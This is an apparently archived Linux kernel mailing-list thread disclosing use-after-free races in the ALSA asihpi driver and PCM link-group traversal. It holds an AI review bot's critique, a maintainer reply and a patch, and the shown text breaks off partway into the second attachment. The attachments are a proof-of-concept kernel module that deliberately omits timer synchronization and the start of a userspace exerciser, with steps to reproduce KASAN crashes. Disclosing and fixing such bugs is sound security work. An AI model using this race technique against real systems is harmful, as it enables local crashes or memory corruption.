> therefore free `dpcm` and then `runtime` while the callback is still running.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux 7.3.0 source plus a QEMU/KASAN fake-PCM harness. No ASI6205 hardware
> was available; the harness validates the ALSA core close ordering and the
> exact `timer_delete`/`llmode_streampriv` lifetime pattern.
>
> * Mechanism
>
> `snd_card_asihpi_runtime_free()` (`asihpi.c:495-499`) does `kfree(dpcm)` and
> is installed as `runtime->private_free` at playback open
> (`asihpi.c:997-1000`) and capture open (`1166-1169`).
>
> Polled mode:
>
> snd_card_asihpi_pcm_timer_start() asihpi.c:501-513
> mod_timer(&dpcm->timer, jiffies + expiry);
> dpcm->respawn_timer = 1;
>
> snd_card_asihpi_pcm_timer_stop() asihpi.c:515-522
> dpcm->respawn_timer = 0;
> timer_delete(&dpcm->timer); /* no sync */
>
> `snd_card_asihpi_timer_function()` (`asihpi.c:710-896`) uses `dpcm`
> throughout and can re-arm at 894-895 if it observes `respawn_timer`.
>
> IRQ mode:
>
> snd_card_asihpi_pcm_int_start() asihpi.c:524-538
> card->llmode_streampriv = dpcm;
> ... set HPI IRQ rate ...
>
> snd_card_asihpi_pcm_int_stop() asihpi.c:540-550
> ... set HPI IRQ rate 0 ...
> card->llmode_streampriv = NULL; /* no synchronize_irq */
>
> `snd_card_asihpi_isr()` (`asihpi.c:898-907`) reads
> `asihpi->llmode_streampriv` twice (check, then dereference), so a threaded
> handler can hold the old `dpcm` pointer across the NULL store.
>
> Close path: `snd_pcm_release_substream()`
> (`sound/core/pcm_native.c:2785-2805`) -> `snd_pcm_drop()`
> (`pcm_native.c:2267-2289`) -> `snd_pcm_detach_substream()`
> (`sound/core/pcm.c:978-1005`) -> `runtime->private_free()` -> `kfree(dpcm)`
> and then `kfree(runtime)`.
>
>
> * Trigger model
>
> Local user opens a capture or playback PCM, starts it, and closes it while
> the polled timer or HPI IRQ is active. Polled mode is available on HPI6000
> and HPI6205; IRQ mode requires HPI6205 in interrupt mode. SMP/preemption
> needed for the cross-CPU window. Consequence: UAF of `dpcm`/`runtime` in
> timer softirq or threaded IRQ; crash or memory corruption.
>
> * Dynamic evidence
>
> `sndpci_race.c` mode `pcm`, `verification/kmod/
> sndpci/pcmtest.c close 200`: `.trigger STOP` uses `timer_delete()` and
> `runtime->private_free` frees `dpcm`; timer pinned to CPU0, user close to
> CPU1. Contain 35 KASAN UAF report fragments:
>
> BUG: KASAN: slab-use-after-free in race_pcm_timer
> ...
> Allocated by task: race_pcm_open
> Freed by task: kfree -> snd_pcm_detach_substream -> snd_pcm_release
>
>
>
> * Suggested direction
>
> In `snd_card_asihpi_runtime_free()` (or immediately before it), for polled
> mode call `timer_shutdown_sync(&dpcm->timer)`. For IRQ mode, first clear
> `card->llmode_streampriv` (with the appropriate ordering), then
> `synchronize_irq(card->hpi->irq)` before `kfree(dpcm)`. Do not put the
> sleeping sync inside the PCM stream lock; do it in the detach/private_free
> process context. Also consider quiescing before the HPI stream `.close`
> (the extra HPI stream handle window is discussed in the report).
>
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: asihpi: quiesce PCM timer and IRQ before freeing dpcm on close (UAF)
2026-11-25 12:50 ` [PATCH] " 徐晗翔
@ 2026-11-25 13:06 ` sashiko-bot
2026-11-25 14:46 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-11-25 13:06 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 3 potential
issues to consider:
- [High] ALSA: asihpi: missing Signed-off-by trailer in commit message
- [High] ALSA: asihpi: unreachable synchronize_irq() in
snd_card_asihpi_runtime_free()
- [High] ALSA: asihpi: quiescing in snd_card_asihpi_runtime_free() runs
after hw_free()
--
commit 95d808dec25e736dfee562fd8a1a93b51e97b152
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: asihpi: quiesce PCM timer and IRQ before freeing dpcm on close (UAF)
>
> snd_card_asihpi_runtime_free() kfree()d the per-open
> snd_card_asihpi_pcm while a polled timer callback or an
> IRQ/threaded handler could still use it: the polled stop path uses
> plain timer_delete() (no wait for a running callback), and the IRQ
> stop path clears card->llmode_streampriv with a plain store and no
> synchronize_irq().
>
> Quiesce in runtime->private_free, which runs in process context from
> snd_pcm_detach_substream() outside the PCM stream lock (so the
> sleeping sync calls are allowed there): timer_shutdown_sync() for
> the polled timer; for IRQ mode, clear card->llmode_streampriv and
> synchronize_irq(card->hpi->irq) before the kfree(dpcm).
[Severity: High]
This commit is missing a Signed-off-by: trailer.
> diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
> index b78e96caef9d0..f528039651ab1 100644
> --- a/sound/pci/asihpi/asihpi.c
> +++ b/sound/pci/asihpi/asihpi.c
> @@ -495,6 +495,29 @@ snd_card_asihpi_hw_free(struct snd_pcm_substream *substream)
> static void snd_card_asihpi_runtime_free(struct snd_pcm_runtime *runtime)
> {
> struct snd_card_asihpi_pcm *dpcm = runtime->private_data;
> + struct snd_card_asihpi *card = snd_pcm_substream_chip(dpcm->substream);
> +
> + /* Quiesce the polled timer and the low-latency IRQ stream before
> + * the memory goes away. This runs in process context from
> + * snd_pcm_detach_substream(), outside the PCM stream lock, so the
> + * sleeping sync calls are allowed here (they must NOT be put into
> + * the trigger/stop path under the stream lock).
> + *
> + * Polled mode: snd_card_asihpi_pcm_timer_stop() uses plain
> + * timer_delete(), which does not wait for a callback that is
> + * already running on another CPU -- the callback dereferences dpcm
> + * throughout and re-arms itself if it observes respawn_timer set.
> + *
> + * IRQ mode: card->llmode_streampriv is cleared with a plain store
> + * by snd_card_asihpi_pcm_int_stop(); the threaded handler may
> + * already have loaded the pointer, so synchronize the IRQ line
> + * after clearing before the kfree(). */
> + timer_shutdown_sync(&dpcm->timer);
[Severity: High]
Isn't quiescing in runtime->private_free too late to protect
runtime->dma_area and dpcm->h_stream during teardown?
In snd_pcm_release_substream() (or when userspace issues
SNDRV_PCM_IOCTL_HW_FREE without closing the device), do_hw_free() and
substream->ops->close() run before snd_pcm_detach_substream() invokes
snd_card_asihpi_runtime_free():
CPU0 CPU1
snd_pcm_release_substream()
snd_pcm_drop()
...
timer_delete(&dpcm->timer)
snd_card_asihpi_timer_function()
do_hw_free()
snd_card_asihpi_hw_free()
hpi_stream_host_buffer_detach()
snd_pcm_lib_free_pages()
runtime->dma_area = NULL
substream->ops->close()
hpi_outstream_close()
pd = &s->runtime->dma_area[buf_ofs];
hpi_outstream_write_buf(ds->h_stream, pd, ...)
<-- NULL deref / DMA buffer UAF
snd_pcm_detach_substream()
snd_card_asihpi_runtime_free()
timer_shutdown_sync(&dpcm->timer)
Both snd_pcm_drop() and do_hw_free() call snd_pcm_sync_stop() outside the
PCM stream lock before freeing pages or closing the stream, so quiescing
the timer and IRQ in a struct snd_pcm_ops .sync_stop callback would cover
both hw_free and close.
> + if (card->llmode_streampriv == dpcm) {
> + card->llmode_streampriv = NULL;
> + if (card->hpi->irq)
> + synchronize_irq(card->hpi->irq);
> + }
> kfree(dpcm);
> }
[Severity: High]
Can synchronize_irq() ever be reached here?
snd_pcm_release_substream() unconditionally calls snd_pcm_drop() before
snd_pcm_detach_substream(). For an active stream in IRQ mode,
snd_pcm_drop() triggers snd_card_asihpi_pcm_int_stop(), which sets
card->llmode_streampriv = NULL:
sound/pci/asihpi/asihpi.c:snd_card_asihpi_pcm_int_stop() {
...
hpi_handle_error(hpi_adapter_set_property(card->hpi->adapter->index,
HPI_ADAPTER_PROPERTY_IRQ_RATE, 0, 0));
card->llmode_streampriv = NULL;
}
By the time snd_card_asihpi_runtime_free() runs, card->llmode_streampriv
is already NULL, so card->llmode_streampriv == dpcm is always false and
kfree(dpcm) can still race with an in-flight threaded IRQ handler running
snd_card_asihpi_isr() -> snd_card_asihpi_timer_function().
--
Sashiko AI review · https://sashiko.dev/#/patchset/8e25ddf.57f.1a212c231fe.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: asihpi: quiesce PCM timer and IRQ before freeing dpcm on close (UAF)
2026-11-25 12:50 ` [PATCH] " 徐晗翔
2026-11-25 13:06 ` sashiko-bot
@ 2026-11-25 14:46 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 14:46 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:50:46 +0100,
徐晗翔 wrote:
>
> snd_card_asihpi_runtime_free() kfree()d the per-open
> snd_card_asihpi_pcm while a polled timer callback or an
> IRQ/threaded handler could still use it: the polled stop path uses
> plain timer_delete() (no wait for a running callback), and the IRQ
> stop path clears card->llmode_streampriv with a plain store and no
> synchronize_irq().
>
> Quiesce in runtime->private_free, which runs in process context from
> snd_pcm_detach_substream() outside the PCM stream lock (so the
> sleeping sync calls are allowed there): timer_shutdown_sync() for
> the polled timer; for IRQ mode, clear card->llmode_streampriv and
> synchronize_irq(card->hpi->irq) before the kfree(dpcm).
Implement rather PCM sync_stop callback to call timer_delete_sync(),
instead. This assures that the timer is gone after stopping the
stream.
Takashi
> ---
> sound/pci/asihpi/asihpi.c | 23 +++++++++++++++++++++++
> 1 file changed, 23 insertions(+)
>
> diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
> --- a/sound/pci/asihpi/asihpi.c
> +++ b/sound/pci/asihpi/asihpi.c
> @@ -495,6 +495,29 @@
> static void snd_card_asihpi_runtime_free(struct snd_pcm_runtime *runtime)
> {
> struct snd_card_asihpi_pcm *dpcm = runtime->private_data;
> + struct snd_card_asihpi *card = snd_pcm_substream_chip(dpcm->substream);
> +
> + /* Quiesce the polled timer and the low-latency IRQ stream before
> + * the memory goes away. This runs in process context from
> + * snd_pcm_detach_substream(), outside the PCM stream lock, so the
> + * sleeping sync calls are allowed here (they must NOT be put into
> + * the trigger/stop path under the stream lock).
> + *
> + * Polled mode: snd_card_asihpi_pcm_timer_stop() uses plain
> + * timer_delete(), which does not wait for a callback that is
> + * already running on another CPU -- the callback dereferences dpcm
> + * throughout and re-arms itself if it observes respawn_timer set.
> + *
> + * IRQ mode: card->llmode_streampriv is cleared with a plain store
> + * by snd_card_asihpi_pcm_int_stop(); the threaded handler may
> + * already have loaded the pointer, so synchronize the IRQ line
> + * after clearing before the kfree(). */
> + timer_shutdown_sync(&dpcm->timer);
> + if (card->llmode_streampriv == dpcm) {
> + card->llmode_streampriv = NULL;
> + if (card->hpi->irq)
> + synchronize_irq(card->hpi->irq);
> + }
> kfree(dpcm);
> }
>
>
>
> > -----原始邮件-----
> > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 发送时间:2026-11-13 20:06:38 (星期五)
> > 收件人: perex@perex.cz, tiwai@suse.com
> > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: ALSA: asihpi: quiesce PCM timer and IRQ before freeing dpcm on close (UAF)
> >
> > `snd_card_asihpi_runtime_free()` frees the per-open `struct
> > snd_card_asihpi_pcm` while a polled timer callback or an IRQ/threaded handler
> > can still use it. The polled stop path uses `timer_delete()` (not
> > `timer_delete_sync()`), and the IRQ stop path clears
> > `card->llmode_streampriv` without `synchronize_irq()`. A normal PCM close can
> > therefore free `dpcm` and then `runtime` while the callback is still running.
> >
> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Linux 7.3.0 source plus a QEMU/KASAN fake-PCM harness. No ASI6205 hardware
> > was available; the harness validates the ALSA core close ordering and the
> > exact `timer_delete`/`llmode_streampriv` lifetime pattern.
> >
> > * Mechanism
> >
> > `snd_card_asihpi_runtime_free()` (`asihpi.c:495-499`) does `kfree(dpcm)` and
> > is installed as `runtime->private_free` at playback open
> > (`asihpi.c:997-1000`) and capture open (`1166-1169`).
> >
> > Polled mode:
> >
> > snd_card_asihpi_pcm_timer_start() asihpi.c:501-513
> > mod_timer(&dpcm->timer, jiffies + expiry);
> > dpcm->respawn_timer = 1;
> >
> > snd_card_asihpi_pcm_timer_stop() asihpi.c:515-522
> > dpcm->respawn_timer = 0;
> > timer_delete(&dpcm->timer); /* no sync */
> >
> > `snd_card_asihpi_timer_function()` (`asihpi.c:710-896`) uses `dpcm`
> > throughout and can re-arm at 894-895 if it observes `respawn_timer`.
> >
> > IRQ mode:
> >
> > snd_card_asihpi_pcm_int_start() asihpi.c:524-538
> > card->llmode_streampriv = dpcm;
> > ... set HPI IRQ rate ...
> >
> > snd_card_asihpi_pcm_int_stop() asihpi.c:540-550
> > ... set HPI IRQ rate 0 ...
> > card->llmode_streampriv = NULL; /* no synchronize_irq */
> >
> > `snd_card_asihpi_isr()` (`asihpi.c:898-907`) reads
> > `asihpi->llmode_streampriv` twice (check, then dereference), so a threaded
> > handler can hold the old `dpcm` pointer across the NULL store.
> >
> > Close path: `snd_pcm_release_substream()`
> > (`sound/core/pcm_native.c:2785-2805`) -> `snd_pcm_drop()`
> > (`pcm_native.c:2267-2289`) -> `snd_pcm_detach_substream()`
> > (`sound/core/pcm.c:978-1005`) -> `runtime->private_free()` -> `kfree(dpcm)`
> > and then `kfree(runtime)`.
> >
> >
> > * Trigger model
> >
> > Local user opens a capture or playback PCM, starts it, and closes it while
> > the polled timer or HPI IRQ is active. Polled mode is available on HPI6000
> > and HPI6205; IRQ mode requires HPI6205 in interrupt mode. SMP/preemption
> > needed for the cross-CPU window. Consequence: UAF of `dpcm`/`runtime` in
> > timer softirq or threaded IRQ; crash or memory corruption.
> >
> > * Dynamic evidence
> >
> > `sndpci_race.c` mode `pcm`, `verification/kmod/
> > sndpci/pcmtest.c close 200`: `.trigger STOP` uses `timer_delete()` and
> > `runtime->private_free` frees `dpcm`; timer pinned to CPU0, user close to
> > CPU1. Contain 35 KASAN UAF report fragments:
> >
> > BUG: KASAN: slab-use-after-free in race_pcm_timer
> > ...
> > Allocated by task: race_pcm_open
> > Freed by task: kfree -> snd_pcm_detach_substream -> snd_pcm_release
> >
> >
> >
> > * Suggested direction
> >
> > In `snd_card_asihpi_runtime_free()` (or immediately before it), for polled
> > mode call `timer_shutdown_sync(&dpcm->timer)`. For IRQ mode, first clear
> > `card->llmode_streampriv` (with the appropriate ordering), then
> > `synchronize_irq(card->hpi->irq)` before `kfree(dpcm)`. Do not put the
> > sleeping sync inside the PCM stream lock; do it in the detach/private_free
> > process context. Also consider quiescing before the HPI stream `.close`
> > (the extra HPI stream handle window is discussed in the report).
> >
> >
> >
> > Please keep me in Cc; I am not subscribed to the lists.
> >
> >
> > Regards,
> > Hanxiang Xu
> > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (3 preceding siblings ...)
2026-11-13 12:06 ` ALSA: asihpi: quiesce PCM timer and IRQ before freeing dpcm on close (UAF) 徐晗翔
@ 2026-11-13 12:15 ` 徐晗翔
2026-11-25 12:55 ` [PATCH] " 徐晗翔
2026-11-13 12:28 ` ALSA: usb-audio: us144mkii: PCM close frees runtime while playback/feedback URB completion and capture work still use it (UAF) 徐晗翔
` (36 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-13 12:15 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 4714 bytes --]
`snd_card_asihpi_timer_function()` walks the PCM link group with
`snd_pcm_group_for_each_entry()` and dereferences each member's
`s->runtime->private_data`. That macro is a plain `list_for_each_entry()`;
the callback holds no group reference and no group lock. Close of another
linked substream can unlink/free the group and detach/free that substream's
runtime and `dpcm`, leaving the timer callback with a stale `s`/runtime
pointer. This is reachable from user space through
`SNDRV_PCM_IOCTL_LINK` plus close, on hardware whose driver supports PCM
linking (asihpi does).
The detailed description:
* Test environment / affected version
Linux 7.3.0 source plus a QEMU/KASAN fake-PCM harness. No ASI6205 hardware
was available; the harness reproduces the core group traversal and close
ordering, with the asihpi callback's exact
`snd_pcm_group_for_each_entry()` pattern.
* Mechanism
The group loops are at `sound/pci/asihpi/asihpi.c:729-735` and `821-827`.
They read `s->runtime->private_data` (and in one path `dma_area`) and call
`snd_pcm_period_elapsed(s)`. The macro is
`include/sound/pcm.h:694`:
#define snd_pcm_group_for_each_entry(s, substream) \
list_for_each_entry(s, &substream->group->substreams, link_list)
`snd_pcm_stream_lock_irq()` (`sound/core/pcm_native.c:140-144`) locks
`substream->self_group`, not the group that the timer callback walks.
`snd_pcm_unlink()` (`pcm_native.c:2370-2402`) takes
`snd_pcm_link_rwsem` and the group lock, removes the closing substream,
relinks the remaining streams, and may `kfree(group)`.
`snd_pcm_release_substream()` (`pcm_native.c:2785-2805`) calls
`pcm_release_private()` -> `snd_pcm_unlink()` at 2779-2783 before
`snd_pcm_detach_substream()` frees the runtime and `dpcm`.
A timer callback that already loaded member `s` or `s->runtime` can run
after B's unlink/detach. It may then read freed `runtime`, freed
`private_data`, or a freed group list node; `snd_pcm_period_elapsed(s)`
additionally takes the stale substream.
* Why existing synchronization does not close the window
`snd_pcm_stop()` does transiently take a group reference through
`snd_pcm_action()` -> `snd_pcm_stream_group_ref()` (`pcm_native.c:1378-1427`)
and group lock, but it drops the reference after the STOP action. The
asihpi timer callback is not part of that action and holds no group
reference. Taking `snd_pcm_stream_lock_irq(A)` in the callback would only
lock A's `self_group`; it would not pin B or the group. The group can be
freed while the callback holds a raw member pointer.
* Trigger model
Two capture substreams A and B, same PCM and runtime state; user does
`SNDRV_PCM_IOCTL_LINK` then starts A. While A's timer callback is walking
the group, user closes B. `SNDRV_PCM_IOCTL_LINK` is available to a local
user with the PCM device open; no special privilege is needed beyond access
to the PCM. Consequence: UAF in timer context, crash or memory corruption.
* How to run the PoC
The harness is self-contained and does not need ASI6205 hardware: it creates
a fake ALSA card with two capture substreams. The tested configuration was
7.3.0 with KASAN and 4 vCPU; a uniprocessor run may not overlap.
Build against the target kernel build tree:
printf 'obj-m := sndpci_race.o\n' > Kbuild
make -C <kernel-build-dir> M=$PWD modules
gcc -static -O2 -I<kernel-source>/include/uapi -o pcmtest pcmtest.c
Put `sndpci_race.ko` and `pcmtest` into the guest initramfs/rootfs, boot the
target kernel (QEMU/KVM recommended), then run as root:
insmod sndpci_race.ko mode=pcm
./pcmtest link 200
dmesg | grep -E 'BUG: KASAN|race_pcm_timer|victim use'
In the minimal guest the fake card enumerates as card 0 and `pcmtest` opens
`/dev/snd/pcmC0D0c`. If the test machine already has another sound card,
adjust `DEV` in `pcmtest.c` or use the QEMU initramfs. Expected result:
32 KASAN reports with `slab-use-after-free in race_pcm_timer` and about 114
`victim use` lines.
* Suggested direction
This needs a core/lifetime fix, not just an asihpi timer fix. Possible
directions: make group traversal safe against concurrent unlink (group
reference or RCU-protected/atomic-safe iterator that pins each member's
runtime), or provide a driver API that snapshots/refcounts members before
the callback walks them. On the asihpi side, quiesce the timer/IRQ before
allowing the linked substream to detach. Adding only
`snd_pcm_stream_lock_irq(A)` is not sufficient because it locks A's
`self_group`, not the group being walked.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: sndpci_race.c --]
[-- Type: text/plain, Size: 9729 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* sndpci_race.c - minimal ALSA/kernel lifetime-race reproducers for the
* sound/pci manual-review cases V3/V4/V5.
*
* The module deliberately reproduces the *lifetime patterns* used by
* ctxfi/asihpi, using only exported ALSA core and timer APIs. It is not a
* ctxfi/asihpi emulator: those drivers need hardware that this QEMU does not
* provide. The purpose is to test whether the core/API windows identified in
* the report are real on an instrumented KASAN kernel.
*
* modes:
* v3 - timer_delete_sync_try() returns -1 while the callback runs on
* another CPU; free the object anyway (ctxfi system-timer pattern).
* pcm - create a fake ALSA card with two playback substreams. The guest
* program pcmtest then exercises close (V4) or link+close (V5).
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/timer.h>
#include <linux/jiffies.h>
#include <linux/delay.h>
#include <linux/kthread.h>
#include <linux/cpumask.h>
#include <linux/sched.h>
#include <linux/container_of.h>
#include <linux/string.h>
#include <linux/platform_device.h>
#include <sound/core.h>
#include <sound/pcm.h>
#include <sound/pcm_params.h>
#define DRV "sndpci_race"
#define COOKIE 0x5a5a1234deadbeefULL
static char *mode = "pcm";
module_param(mode, charp, 0444);
static bool safe;
module_param(safe, bool, 0444);
MODULE_PARM_DESC(mode, "v3 or pcm");
/* ------------------------------------------------------------------ */
/* V3: timer_delete_sync_try() ignored -1 */
/* ------------------------------------------------------------------ */
struct v3_obj {
struct timer_list timer;
u64 cookie;
struct task_struct *thread;
};
static void v3_callback(struct timer_list *t)
{
struct v3_obj *v = container_of(t, struct v3_obj, timer);
/* Keep the callback alive long enough for the freeing CPU to run. */
mdelay(20);
pr_info(DRV ": v3 callback cookie=%#llx\n", v->cookie);
/* Second read after the delay: the object may already be freed. */
if (v->cookie == COOKIE)
pr_info(DRV ": v3 callback read-after-free survived\n");
}
static int v3_thread(void *arg)
{
struct v3_obj *v;
int i, ret;
for (i = 0; i < 8; i++) {
v = kzalloc(sizeof(*v), GFP_KERNEL);
if (!v)
return -ENOMEM;
v->cookie = COOKIE;
timer_setup(&v->timer, v3_callback, 0);
/* Pin the callback to CPU0; this thread runs on CPU1. */
add_timer_on(&v->timer, 0);
usleep_range(2000, 3000);
ret = timer_delete_sync_try(&v->timer);
pr_info(DRV ": v3 iter=%d delete_sync_try=%d\n", i, ret);
if (ret == -1) {
/* BUG: callback is running on CPU0; free it anyway. */
if (safe)
timer_delete_sync(&v->timer);
kfree(v);
} else {
timer_delete_sync(&v->timer);
kfree(v);
}
usleep_range(60000, 70000);
}
pr_info(DRV ": v3 done\n");
return 0;
}
/* ------------------------------------------------------------------ */
/* V4/V5: fake ALSA PCM with a driver-private dpcm and a timer */
/* ------------------------------------------------------------------ */
struct race_pcm {
struct timer_list timer;
struct snd_pcm_substream *substream;
u64 cookie;
bool respawn;
bool active;
};
static struct snd_card *race_card;
static struct platform_device *race_pdev;
static struct snd_pcm *race_pcm_dev;
static void race_pcm_timer(struct timer_list *t)
{
struct race_pcm *dpcm = container_of(t, struct race_pcm, timer);
struct snd_pcm_substream *s;
struct snd_pcm_runtime *victim_rt = NULL;
u64 cookie;
if (!dpcm->active)
return;
pr_info(DRV ": timer start dpcm=%px\n", dpcm);
/*
* V5 pattern: walk the link group without the group lock and read
* each member's runtime/private_data. V4 uses the same callback for
* the current stream; the delay widens the close/free window.
*/
cookie = dpcm->cookie;
if (cookie == COOKIE && dpcm->substream && dpcm->substream->runtime) {
snd_pcm_group_for_each_entry(s, dpcm->substream) {
struct snd_pcm_runtime *rt = READ_ONCE(s->runtime);
struct race_pcm *d = NULL;
if (rt)
d = READ_ONCE(rt->private_data);
if (d && d->cookie == COOKIE) {
/* Force the compiler to keep the load. */
barrier();
}
if (rt) {
(void)READ_ONCE(rt->dma_area);
if (s != dpcm->substream && !victim_rt)
victim_rt = rt;
}
/* A real driver also reports elapsed periods. */
if (rt)
snd_pcm_period_elapsed(s);
}
}
/* Widen the window between the callback's load and the free. */
mdelay(20);
if (victim_rt) {
struct race_pcm *d = READ_ONCE(victim_rt->private_data);
pr_info(DRV ": victim use rt=%px d=%px\n", victim_rt, d);
(void)READ_ONCE(victim_rt->dma_area);
}
pr_info(DRV ": timer end dpcm=%px\n", dpcm);
if (dpcm->respawn) {
if (!timer_pending(&dpcm->timer))
add_timer_on(&dpcm->timer, 0);
else
mod_timer(&dpcm->timer, jiffies + 1);
}
}
static void race_pcm_free(struct snd_pcm_runtime *runtime)
{
struct race_pcm *dpcm = runtime->private_data;
pr_info(DRV ": pcm private_free dpcm=%px\n", dpcm);
if (safe)
timer_shutdown_sync(&dpcm->timer);
kfree(dpcm);
}
static int race_pcm_open(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct race_pcm *dpcm;
dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
if (!dpcm)
return -ENOMEM;
dpcm->substream = substream;
dpcm->cookie = COOKIE;
timer_setup(&dpcm->timer, race_pcm_timer, 0);
runtime->private_data = dpcm;
runtime->private_free = race_pcm_free;
runtime->hw.info = SNDRV_PCM_INFO_MMAP |
SNDRV_PCM_INFO_INTERLEAVED |
SNDRV_PCM_INFO_MMAP_VALID;
runtime->hw.formats = SNDRV_PCM_FMTBIT_S16_LE;
runtime->hw.rates = SNDRV_PCM_RATE_44100;
runtime->hw.rate_min = 44100;
runtime->hw.rate_max = 44100;
runtime->hw.channels_min = 2;
runtime->hw.channels_max = 2;
runtime->hw.buffer_bytes_max = 64 * 1024;
runtime->hw.period_bytes_min = 1024;
runtime->hw.period_bytes_max = 4096;
runtime->hw.periods_min = 2;
runtime->hw.periods_max = 8;
pr_info(DRV ": pcm open sub=%px dpcm=%px\n", substream, dpcm);
return 0;
}
static int race_pcm_close(struct snd_pcm_substream *substream)
{
pr_info(DRV ": pcm .close sub=%px\n", substream);
return 0;
}
static int race_pcm_ioctl(struct snd_pcm_substream *substream,
unsigned int cmd, void *arg)
{
pr_info(DRV ": pcm ioctl cmd=%u\n", cmd);
return snd_pcm_lib_ioctl(substream, cmd, arg);
}
static int race_pcm_hw_params(struct snd_pcm_substream *substream,
struct snd_pcm_hw_params *params)
{
pr_info(DRV ": hw_params rate=%u ch=%u fmt=%u period_bytes=%u buffer_bytes=%u\n",
params_rate(params), params_channels(params), params_format(params),
params_period_bytes(params), params_buffer_bytes(params));
return 0;
}
static int race_pcm_prepare(struct snd_pcm_substream *substream)
{
return 0;
}
static int race_pcm_trigger(struct snd_pcm_substream *substream, int cmd)
{
struct race_pcm *dpcm = substream->runtime->private_data;
switch (cmd) {
case SNDRV_PCM_TRIGGER_START:
case SNDRV_PCM_TRIGGER_RESUME:
if (substream != race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream)
break;
dpcm->active = true;
dpcm->respawn = true;
if (!timer_pending(&dpcm->timer))
add_timer_on(&dpcm->timer, 0);
else
mod_timer(&dpcm->timer, jiffies + 1);
break;
case SNDRV_PCM_TRIGGER_STOP:
case SNDRV_PCM_TRIGGER_SUSPEND:
dpcm->active = false;
dpcm->respawn = false;
/* Deliberately not timer_delete_sync(): mirrors asihpi. */
timer_delete(&dpcm->timer);
break;
}
return 0;
}
static snd_pcm_uframes_t race_pcm_pointer(struct snd_pcm_substream *substream)
{
return 0;
}
static const struct snd_pcm_ops race_pcm_ops = {
.open = race_pcm_open,
.close = race_pcm_close,
.ioctl = race_pcm_ioctl,
.hw_params = race_pcm_hw_params,
.prepare = race_pcm_prepare,
.trigger = race_pcm_trigger,
.pointer = race_pcm_pointer,
};
static int __init sndpci_init(void)
{
struct task_struct *t;
int ret;
pr_info(DRV ": init mode=%s\n", mode);
if (!strcmp(mode, "v3")) {
t = kthread_create(v3_thread, NULL, "sndpci_v3");
if (IS_ERR(t))
return PTR_ERR(t);
kthread_bind(t, 1);
wake_up_process(t);
return 0;
}
race_pdev = platform_device_register_simple("sndpci_race", -1, NULL, 0);
if (IS_ERR(race_pdev))
return PTR_ERR(race_pdev);
ret = snd_card_new(&race_pdev->dev, 0, "SndPciRace", THIS_MODULE, 0, &race_card);
if (ret < 0) {
pr_err(DRV ": snd_card_new failed: %d\n", ret);
return ret;
}
ret = snd_pcm_new(race_card, "SndPciRace", 0, 0, 2, &race_pcm_dev);
if (ret < 0) {
pr_err(DRV ": snd_pcm_new failed: %d\n", ret);
snd_card_free(race_card);
return ret;
}
snd_pcm_set_ops(race_pcm_dev, SNDRV_PCM_STREAM_CAPTURE,
&race_pcm_ops);
snd_pcm_lib_preallocate_pages_for_all(race_pcm_dev, SNDRV_DMA_TYPE_CONTINUOUS,
NULL, 64 * 1024, 64 * 1024);
ret = 0;
pr_info(DRV ": managed_buffer ret=%d dma_type=%d area=%px bytes=%zu\n", ret,
race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.dev.type,
race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.area,
race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.bytes);
ret = snd_card_register(race_card);
if (ret < 0) {
pr_err(DRV ": snd_card_register failed: %d\n", ret);
snd_card_free(race_card);
return ret;
}
pr_info(DRV ": card registered\n");
return 0;
}
static void __exit sndpci_exit(void)
{
pr_info(DRV ": exit\n");
if (race_card)
snd_card_free(race_card);
if (race_pdev)
platform_device_unregister(race_pdev);
}
module_init(sndpci_init);
module_exit(sndpci_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/pci lifetime-race reproducer (V3/V4/V5)");
[-- Attachment #3: pcmtest.c --]
[-- Type: text/plain, Size: 3737 bytes --]
#define _GNU_SOURCE
// SPDX-License-Identifier: GPL-2.0
/*
* pcmtest.c - guest-side exerciser for sndpci_race.ko.
*
* Usage:
* pcmtest close [iters] - open/start/close one playback substream (V4)
* pcmtest link [iters] - link two playback substreams, close B while
* the A timer callback walks the group (V5)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <limits.h>
#include <sched.h>
#include <sound/asound.h>
#define DEV "/dev/snd/pcmC0D0c"
static int set_hw_params(int fd)
{
